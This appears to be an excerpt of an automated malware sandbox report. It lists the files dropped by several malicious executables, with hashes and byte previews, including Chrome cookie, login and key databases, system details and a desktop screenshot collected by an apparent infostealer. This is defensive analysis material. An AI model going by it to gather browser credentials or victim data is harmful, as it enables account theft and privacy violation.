Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\C169.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\C169.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	700
Entropy (8bit):	5.346524082657112
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPk21OKbbDLI4MWuPJKiUrRZ9I0ZKhat/DLI4M/DLI4M0kvoDLIw:ML9E4Ks2wKDE4KhK3VZ9pKhgLE4qE4jv
MD5:	65CF801545098D915A06D8318D296A01
SHA1:	456149D5142C75C4CF74D4A11FF400F68315EBD0
SHA-256:	32E502D76DBE4F89AEE586A740F8D1CBC112AA4A14D43B9914C785550CCA130F
SHA-512:	4D1FF469B62EB5C917053418745CCE4280052BAEF9371CAFA5DA13140A16A7DE949DD1581395FF838A790FFEBF85C6FC969A93CC5FF2EEAB8C6C4A9B4F1D552D
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"Microsoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Dynamic, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\EE61.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\EE61.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1192
Entropy (8bit):	5.359562127686337
Encrypted:	false
SSDEEP:	24:ML9E4Ks2wKDE4KhK3VZ9pKhuE4KaE4q0E4KiZhnRAE4Kzr7r1qE4UE4Ks:MxHKXwYHKhQnouHKaHxHKipAHKzvr1qq
MD5:	26BF5ED58FB6D9EEDD639F036FC882FE
SHA1:	21C3BFFF881964A836C3489507EAF36CD4BA652D
SHA-256:	2998ED6B8D1EB85DE8BEE772CEF62D57ED40224EECFE4349C3275F0C7AA96542
SHA-512:	F7B54F1EFC414567AD547823B8A178F562309507F91FF54EE3FDABF4D5AC8B3E9450E2A261D3CD6A34430E2ADF1D3354A82EA1E58A7362A207EA659304B80428
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Xml.Linq, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq\f54e3a73bfefb71eb6e1de09129af7f0\System.Xml.Linq.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\sqlite3[1].dll Download File
Process:	C:\Users\user\AppData\Local\Temp\AA02.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	645592
Entropy (8bit):	6.50414583238337
Encrypted:	false
SSDEEP:	12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
MD5:	E477A96C8F2B18D6B5C27BDE49C990BF
SHA1:	E980C9BF41330D1E5BD04556DB4646A0210F7409
SHA-256:	16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
SHA-512:	335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..

C:\Users\user\AppData\Local\Temp\890R9H47 Download File
Process:	C:\Users\user\AppData\Local\Temp\AA02.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	0.4589421877427324
Encrypted:	false
SSDEEP:	48:T9YBfHNPM5ETQTbKPHBsRkOLkRf+z4QHItYysX0uhnHu132RUioVeINUravDLjY/:2WU+bDoYysX0uhnydVjN9DLjGQLBE3u
MD5:	16B54B80578A453C3615068532495897
SHA1:	03D021364027CDE0E7AE5008940FEB7E07CA293C
SHA-256:	75A16F4B0214A2599ECFBB1F66CAE146B257D11106494858969B19CABCB9B541
SHA-512:	C11979FE1C82B31FDD6457C8C2D157FB4C9DF4FE55457D54104B59F3F880898D82A947049DEB948CA48A5A64A75CFBFC38FDB2E108026EBE7CA9EBE8B1793797
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A70A.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1285856
Entropy (8bit):	7.290553475161652
Encrypted:	false
SSDEEP:	24576:wAvkNkBobrsLgjMTarTbEzqFyyLGPaz8sMRK7wD9x3TOs7:n80iTjMTaf7iPaWRiwDf3TX
MD5:	31F17AD58D02772DF14EFAC37D416CD7
SHA1:	BC8EA09D50B5B794AF6C741B0C2D39C637831913
SHA-256:	21F7623006B248709A14CBFC507187FD44A8ADA2D0DD465FAA79317ECE02DC78
SHA-512:	7B3E94C7D808CF779704D33893D7B8EE9F56E445BE554B18A1F7476016AB68D2463F78A1278B1DAA6F8D4DD26535E1A50DA8A33412428E977D0659B8388B56DE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 26%, Browse Antivirus: ReversingLabs, Detection: 57%
Reputation:	unknown
Preview:	MZ.....o...g.'.:.( =.&../..`.O....O[.E..vi\|.DC..[A...........Q..............................................................................................................................................................................................PE..L....x................0......r........... ...@....@.................................\.....@..................................P.......`..Xo...................................................................................................................@.............................`.............P......................@....rsrc...Xo...`..Xo..................@..@.........@.......(...v..............@.....................................................................................................................................................................................................................................................................................................................+.........../.\.;3)x)n...s.

C:\Users\user\AppData\Local\Temp\AA02.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	351744
Entropy (8bit):	6.209230188012359
Encrypted:	false
SSDEEP:	6144:LSZSB++2B2wScyH3/in9HQnIlf6BXcFNuAnYeOeNIqz1D+Jr:LSZSB+l2wScyH3/in9HQnI16BMFlnYe2
MD5:	349A409711C0A8F53C5F90A993A621F2
SHA1:	1A6A7E224441F3DEB794AD7C05BB337FEF53BB4A
SHA-256:	3601F18238F48E931AE54A92D8FC208AE9AB8B2A75ED898C7712048ABBC038B7
SHA-512:	E56482C233FEA482392D16BCF64046DCE24CCF1FE13737E0298E5003EAC3A35258220F605F8CE3F81F876935C813B9DCBCEB942A7A71D00C424E5CCE01B4BC97
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........OW...9P..9P..9Ph`.P..9P.X.P..9P.X.P..9P.X.Py.9P.V.P..9P..8P..9P.X.P..9P.X.P..9P.X.P..9PRich..9P................PE..L......_.....................@......@.............@..........................p.......E..........................................(........@...................0..0.......................................@...............l............................text............................... ..`.data...@...........................@....rsrc....@.......B..................@..@.reloc...;...0...<..."..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B6B5.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	336896
Entropy (8bit):	6.095936411614306
Encrypted:	false
SSDEEP:	6144:/PqsnKEQOJNhlS35U3TiXtHRW4YcT3XI6Ndc9NQ49UTiJFS:nnnKZOJNhlS35U3TiXtHRW4xT3Y649NW
MD5:	CBC4BD8906093C0CCC55379319D65DB1
SHA1:	27C67774153EDD261DB48ADA6477F1DC3D79447B
SHA-256:	571643F0741F9F26094CD42879636D79A3A1B196EF560438A8F74877CFD106A4
SHA-512:	4D9753369E6D500542B87DA950021CF41553BA99CE6357E00DDDCBC8ED7179ABB29D8A4902EC0936863BEA9C79B09173FE699014025F9DDA54D56228185C62CC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........OW...9P..9P..9Ph`.P..9P.X.P..9P.X.P..9P.X.Py.9P.V.P..9P..8P..9P.X.P..9P.X.P..9P.X.P..9PRich..9P................PE..L......_.....................@....................@..........................@.......n..........................................(........@......................0...................................8...@...............l............................text...>........................... ..`.data...@...........................@....rsrc....@.......B..................@..@.reloc...;.......<..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BIMO8YMO Download File
Process:	C:\Users\user\AppData\Local\Temp\AA02.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C169.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	397824
Entropy (8bit):	3.7269481746723154
Encrypted:	false
SSDEEP:	12288:aE8ijGrr1Lj3crjEn2dLkbi2dX4Q4qQO8:UiT3
MD5:	5115E5DAB211559A85CD0154E8100F53
SHA1:	347800B72AC53EC6E2C87E433763B20282A2C06D
SHA-256:	EF156FB3A203FE197D89D63E2EA7805A1B9AF505DFFF5A58532DBFE34E7AABAA
SHA-512:	D03E58376BE1E299A6DA57A28ED5DB176999BADED713AA54DDB59CF8C82B97E8C0B028CE07BDDB6989C7C77E518E151E112DDE2F1D5244AC2572E4371FA68C12
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 37%, Browse Antivirus: ReversingLabs, Detection: 79%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...(.q...............0..............(... ...@....@.. ....................................@..................................(..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H......../..\............................................................0..........~....u....s....z&......................2(.... ....j....r...p(.....s....%.}..........s....o....9....s....z....(.........2.s....(.......v.(......r...p~....o....(........{.....0..i........:....~........(......~....:$.........(.........(....(....(.........~....{....~.....o....(....o....}........0...........o......o....(.....(.....o.....6..(....(....*...0..E.......~.....s.......8"........

C:\Users\user\AppData\Local\Temp\D375.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2740224
Entropy (8bit):	7.959483373293049
Encrypted:	false
SSDEEP:	49152:MChUuz9ubrD0rNoVNsLdq0MTq24FdizzlzKGg6W6SYjUN+dCo:vUuxGD0iVNsL9cqtdi8GE6hA+3
MD5:	CA16CA4AA9CF9777274447C9F4BA222E
SHA1:	1025ED93E5F44D51B96F1A788764CC4487EE477E
SHA-256:	0016755526279C5C404B670ECB2D81AF46066D879C389924A6574AB9864B5C04
SHA-512:	72D8D2A729B8CE2940235D3A317EE3EB0EB8D1411E847D6D11E36484F520BB88B3CABD03716B3C2988B0A053426BE14AACE154F13D306883788F952CD03CF712
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 43%, Browse Antivirus: ReversingLabs, Detection: 86%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........LC.y.C.y.C.y.W.z.H.y.W.\|..y.W.}.Q.y.W.~.B.y...}.R.y...z.V.y...\|.i.y.W.x.P.y.C.x..y...p.D.y....B.y...{.B.y.RichC.y.........................PE..L...w7.a.................@...........RF......P....@.......................... n......*...@......................................................................................................................................................... .>.......................... ..` .....P...P..................@..@ $....0......................@... .....P......................@..@ ."...`......................@..B.idata..............................@....rsrc...............................@..@.themida..A.........................`....boot.....'..PF...'.................`..`........................................................................................................................

C:\Users\user\AppData\Local\Temp\D466.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	163328
Entropy (8bit):	6.266388012405613
Encrypted:	false
SSDEEP:	3072:qkqeuZi3xqvmqEzkC34ygPsAXtITmUYasQ2:VXuk3EvmqEgS4jlLay
MD5:	DF13FAC0D8B182E4D8B9A02BA87A9571
SHA1:	B2187DEBC6FDE96E08D5014CE4F1AF5CF568BCE5
SHA-256:	AF64F5B2B6C4CC63B0CA4BB48F369EBA1629886D85E289A469A5C9612C4A5EE3
SHA-512:	BC842A80509BDA8AFFF6E12F5B5C64CCF7F1D7360F99F63CEBBC1F21936A15487EC16BDE3C2ACFF22C49EBCEDF5C426621D6F69503F4968AACC8E75611E3A816
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 51%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................PE..L...S.._.................B....t......*.......`....@..........................@v.....x[......................................D...x.....u..............................a.................................@............`..d............................text...P@.......B.................. ..`.rdata..~....`.......F..............@..@.data...`us.........................@....fefeg..r.....u.....................@..@.guyus..p.....u.....................@..`.venu.........u.....................@..`.rsrc.........u.....................@..@................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EE61.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	1143000
Entropy (8bit):	7.2472305489572335
Encrypted:	false
SSDEEP:	12288:N6e6+O/RK8MmtDX5f11XNbW/kjvULGaPBUcXTE/RFia0/1AtBVEOi2vU86N1A:kHc8L59HbViGaJUck1iAtBVEN2vX6zA
MD5:	97617914D6E8A6E3CBEE8A5E5FF39AA5
SHA1:	CAF7FEF0EFD3DBCF176C7CFC85CC545DD0DC9EFD
SHA-256:	7C1C287F9CE0D8D90C95851781FF2732780177F6C1AFFECC9EED376436981112
SHA-512:	F4C79F9E41124044AA1D0A44E86D0A184BEDA33163D7B0973DC23B4FF5087C708175BD89F73FFC2C160A66BF23F09835C422B654353DC67CB59EA053CF60EABB
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p.i...............0..`...........~... ........@.. ...............................5....@.................................P~..K....................h............................................................... ............... ..H............text....^... ...`.................. ..`.rsrc................b..............@....reloc...............f..............@..B.................~......H............_...........w......}......................................B(....~S...(........0.............B(....~S...(..............B(....~S...(......................0..............0..............0.............B(....~S...(.............................0.............B(....~S...(...............0..............0..............0..............0.............B(....~S...(........0..............0.............B(....~S...(........0..............0.............*.0..

C:\Users\user\AppData\Local\Temp\LXBAIMOP Download File
Process:	C:\Users\user\AppData\Local\Temp\AA02.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6970840431455908
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBocLgAZOZD/0:T5LLOpEO5J/Kn7U1uBo8NOZ0
MD5:	00681D89EDDB6AD25E6F4BD2E66C61C6
SHA1:	14B2FBFB460816155190377BBC66AB5D2A15F7AB
SHA-256:	8BF06FD5FAE8199D261EB879E771146AE49600DBDED7FDC4EAC83A8C6A7A5D85
SHA-512:	159A9DE664091A3986042B2BE594E989FD514163094AC606DC3A6A7661A66A78C0D365B8CA2C94B8BC86D552E59D50407B4680EDADB894320125F0E9F48872D3
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PZMY5PHV Download File
Process:	C:\Users\user\AppData\Local\Temp\AA02.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qbTdLHcrfeS\_Files\_Chrome\default_cookies.db Download File
Process:	C:\Users\user\AppData\Local\Temp\D375.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6970840431455908
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBocLgAZOZD/0:T5LLOpEO5J/Kn7U1uBo8NOZ0
MD5:	00681D89EDDB6AD25E6F4BD2E66C61C6
SHA1:	14B2FBFB460816155190377BBC66AB5D2A15F7AB
SHA-256:	8BF06FD5FAE8199D261EB879E771146AE49600DBDED7FDC4EAC83A8C6A7A5D85
SHA-512:	159A9DE664091A3986042B2BE594E989FD514163094AC606DC3A6A7661A66A78C0D365B8CA2C94B8BC86D552E59D50407B4680EDADB894320125F0E9F48872D3
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qbTdLHcrfeS\_Files\_Chrome\default_key.bin Download File
Process:	C:\Users\user\AppData\Local\Temp\D375.exe
File Type:	data
Category:	dropped
Size (bytes):	32
Entropy (8bit):	5.0
Encrypted:	false
SSDEEP:	3:jYUbMR8o9eZwo:kUbMqo9Gwo
MD5:	FC370DE3AE9A03C5666D84F3350DDC91
SHA1:	62E22644A9485F6B70EAEEFFDA8B8C3B2C4D03F1
SHA-256:	17D41F57A87688AF3A7C0216D4E6A2D13F09C1CA78290B959DFDD7970B1797A4
SHA-512:	31FCE8B4462DAE87DE334EF9D7E27A47C50BAD44652146A75F0A82DE5E3CD9BC6CCF23EE43A54BAA97A90E9F47198A7C3DB21F9C2110F854D41434A9D11EBEC3
Malicious:	false
Reputation:	unknown
Preview:	..}.(n.=..1..$t?!...;..kJGBD2.I

C:\Users\user\AppData\Local\Temp\qbTdLHcrfeS\_Files\_Chrome\default_logins.db Download File
Process:	C:\Users\user\AppData\Local\Temp\D375.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qbTdLHcrfeS\_Files\_Chrome\default_webdata.db Download File
Process:	C:\Users\user\AppData\Local\Temp\D375.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qbTdLHcrfeS\_Files\_Information.txt Download File
Process:	C:\Users\user\AppData\Local\Temp\D375.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	4210
Entropy (8bit):	3.522601689980959
Encrypted:	false
SSDEEP:	96:soteBvwHOSH8vsc/HcDPV2GJVfMGJGmcHOhsgDxGBSS4MQcU3p:qNi8UOpGQGXJp
MD5:	6B020A8C0E613CD6E059785E0552B4C1
SHA1:	AEA2B9969810AD8E70A054B24E6F719F2FA21FC6
SHA-256:	8C48DBA425FC0A4921F44F0928705F08954BFE01300A52CD0325B3384919C7D4
SHA-512:	A0378FBE2DC91DDB1DC317F8DEF77A786F8C1E8501AFEDF03AD4435888BE18B213D711D56761750BB9D62F3941059742C1839C96A882AB55C4D2B5C50CED2FAF
Malicious:	false
Reputation:	unknown
Preview:	..S.t.a.r.t. .B.u.i.l.d.:. . . . . . . . . . . . . .C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.D.3.7.5...e.x.e.....O.S.:. . . . . . . . . . . . . . . . . . . . . . .W.i.n.d.o.w.s. .1.0. .P.r.o. . . .6.4.-.b.i.t._.(.x.6.4.). . . .B.u.i.l.d.:. .1.7.1.3.4. . . .R.e.l.e.a.s.e.:. .1.8.0.3.....O.S. .L.a.n.g.u.a.g.e.:. . . . . . . . . . . . . .e.n.-.U.S.....K.e.y.b.o.a.r.d. .L.a.n.g.u.a.g.e.s.:. . . . . . .E.n.g.l.i.s.h. .(.U.n.i.t.e.d. .S.t.a.t.e.s.). .\|. .....L.o.c.a.l. .D.a.t.e. .a.n.d. .T.i.m.e.:. . . . . .2.0.2.1.-.1.2.-.0.1. .1.0.:.0.5.:.2.5.....U.T.C.:. . . . . . . . . . . . . . . . . . . . . .-.0.8.0.0.....U.s.e.r.N.a.m.e. .(.C.o.m.p.u.t.e.r.N.a.m.e.).:. .h.a.r.d.z. .(.2.1.6.5.5.4.).....C.P.U.:. . . . . . . . . . . . . . . . . . . . . .I.n.t.e.l.(.R.). .C.o.r.e.(.T.M.).2. .C.P.U. .6.6.0.0. .@. .2...4.0. .G.H.z. .(.C.o.r.e.s.:. .4.).....T.o.t.a.l. .R.A.M.:. . . . . . . . . . . . . . . .8.1.9.1. . .M.B.....G.P.U.:. . . . . . . . . . . . . . . . . . . . . .A.M.D.

C:\Users\user\AppData\Local\Temp\qbTdLHcrfeS\_Files\_Screen_Desktop.jpeg Download File
Process:	C:\Users\user\AppData\Local\Temp\D375.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, frames 3
Category:	dropped
Size (bytes):	61995
Entropy (8bit):	7.751969065949765
Encrypted:	false
SSDEEP:	1536:IcpJ1w/lxFk+PBBUpMKtwtDxwjpmAO+uz5S:Xnw/lgaBUbwtNwTOZzE
MD5:	CB57DABF20AA73C74D4F9264D3711C14
SHA1:	0C98B0A062B0D34DDE8D55A82E705E0AC4F702D2
SHA-256:	F55B9934FDFF0546A214ECDC90F85210FFB945E43119D84C87B2FB4D829582A3
SHA-512:	F3DC6A83CA9EC0D41F35BE5579905270A6DB634724E499D5BC56E762DABF81997999404A7C6F8339CC26642930DE76ACEB59633D12C499F9FCAC2E6304921838
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C................%.....- ".%5/874/43;BUH;?P?34JdKPWZ_`_9Ghog\nU]_[...C.......+..+[=4=[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..E-.(...(..U..K2..,p$s.~....:-.\|.+.......6.Y.t....X..s...r6.\..?....I..a..~dQ..cQS..\....^0z.8?C...D.E-..JJZJ.%%v.\|>d8:.......SG.....O.. ..U..T{.f..}.2.......S..%..../....qm...+G....3...Z.4.&P.w ..+R..(...+..?.t.kO...'g.].U..I..+.e......._.._..i?...........4W}...........q...h=..\..F..J...z..$.j.i)M...E-..J)i(...(...(...(...(...(...(...Z.J)h.....b......0.J\Q.

C:\Users\user\AppData\Local\Temp\qbTdLHcrfeS\files_\_Chrome\default_cookies.db Download File
Process:	C:\Users\user\AppData\Local\Temp\D375.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6970840431455908
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBocLgAZOZD/0:T5LLOpEO5J/Kn7U1uBo8NOZ0
MD5:	00681D89EDDB6AD25E6F4BD2E66C61C6
SHA1:	14B2FBFB460816155190377BBC66AB5D2A15F7AB
SHA-256:	8BF06FD5FAE8199D261EB879E771146AE49600DBDED7FDC4EAC83A8C6A7A5D85
SHA-512:	159A9DE664091A3986042B2BE594E989FD514163094AC606DC3A6A7661A66A78C0D365B8CA2C94B8BC86D552E59D50407B4680EDADB894320125F0E9F48872D3
Malicious:	false
Reputation:	unknown
